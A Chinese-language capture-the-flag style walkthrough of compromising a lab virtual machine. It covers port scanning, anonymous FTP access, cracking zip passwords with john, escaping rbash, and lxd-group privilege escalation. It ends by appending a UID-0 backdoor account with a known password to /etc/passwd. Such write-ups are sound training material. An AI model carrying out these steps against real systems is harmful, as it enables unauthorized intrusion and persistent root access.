信息收集

靶机IP:192.168.10.57
Kali:192.168.10.12

先使用nmap扫描:nmap -T4 -v -p- -A -oA nmap 192.168.10.57
开放端口:21 22 80
习惯性dirb发现一个logs,访问是404,看到ftp能匿名访问,登录发现类似用户名的压缩包,全部get到本地。

压缩包破解

下载后先阅读.@admins、.@users、welcome.msg。发现.@admins类似base64

使用echo 'SGkgQWRtaW5zLAoKYmUgY2FyZWZ1bGwgd2l0aCB5b3VyIGtleXMuIEZpbmQgdGhlbSBpbiAleW91cm5hbWUlLnppcC4KVGhlIHBhc3N3b3JkcyBhcmUgdGhlIG9sZCBvbmVzLgoKUmVnYXJkcwpyb290' |base64 -d解密后发现没什么东西,和.@users类似。

还发现压缩包大小都是一样的,使用zip2john取出全部压缩包的hash:zip2john *.zip >> hash

然后使用john破解hash:john hash --wordlist=/usr/share/wordlists/rockyou.txt
破解出两个密码,使用密码解压对应的文件

用户登录

使用解压的密钥登录tom账号,tab不能补全命令,发现rbash限制用户执行的命令,使用bash -i即可绕过。

输入id后发现tom在lxd组,可以使用lxd提权。

权限提升

把之前编译的lxd提权包下载到本地,使用脚本即可提权成功。

由于现在是在容器里面读取,如果需要完美的进入宿主机器,可以在passwd文件写一个账号
生成一个密码:openssl passwd -1 admin

构造一个用户名:rOOt:$1$Y6W9y42e$RbrNLaswviyaMulMUNTK6/:0:0:root:/root:/bin/bash
追加写入到passwd : echo 'rOOt:$1$Y6W9y42e$RbrNLaswviyaMulMUNTK6/:0:0:root:/root:/bin/bash' >> /mnt/root/etc/passwd
退出容器,切换到rOOt用户,密码admin,即可完美提权。

alpine包编译:https://www.xpctf.cn/posts/3bac/#lxd%E5%92%8Clxc%E6%8F%90%E6%9D%83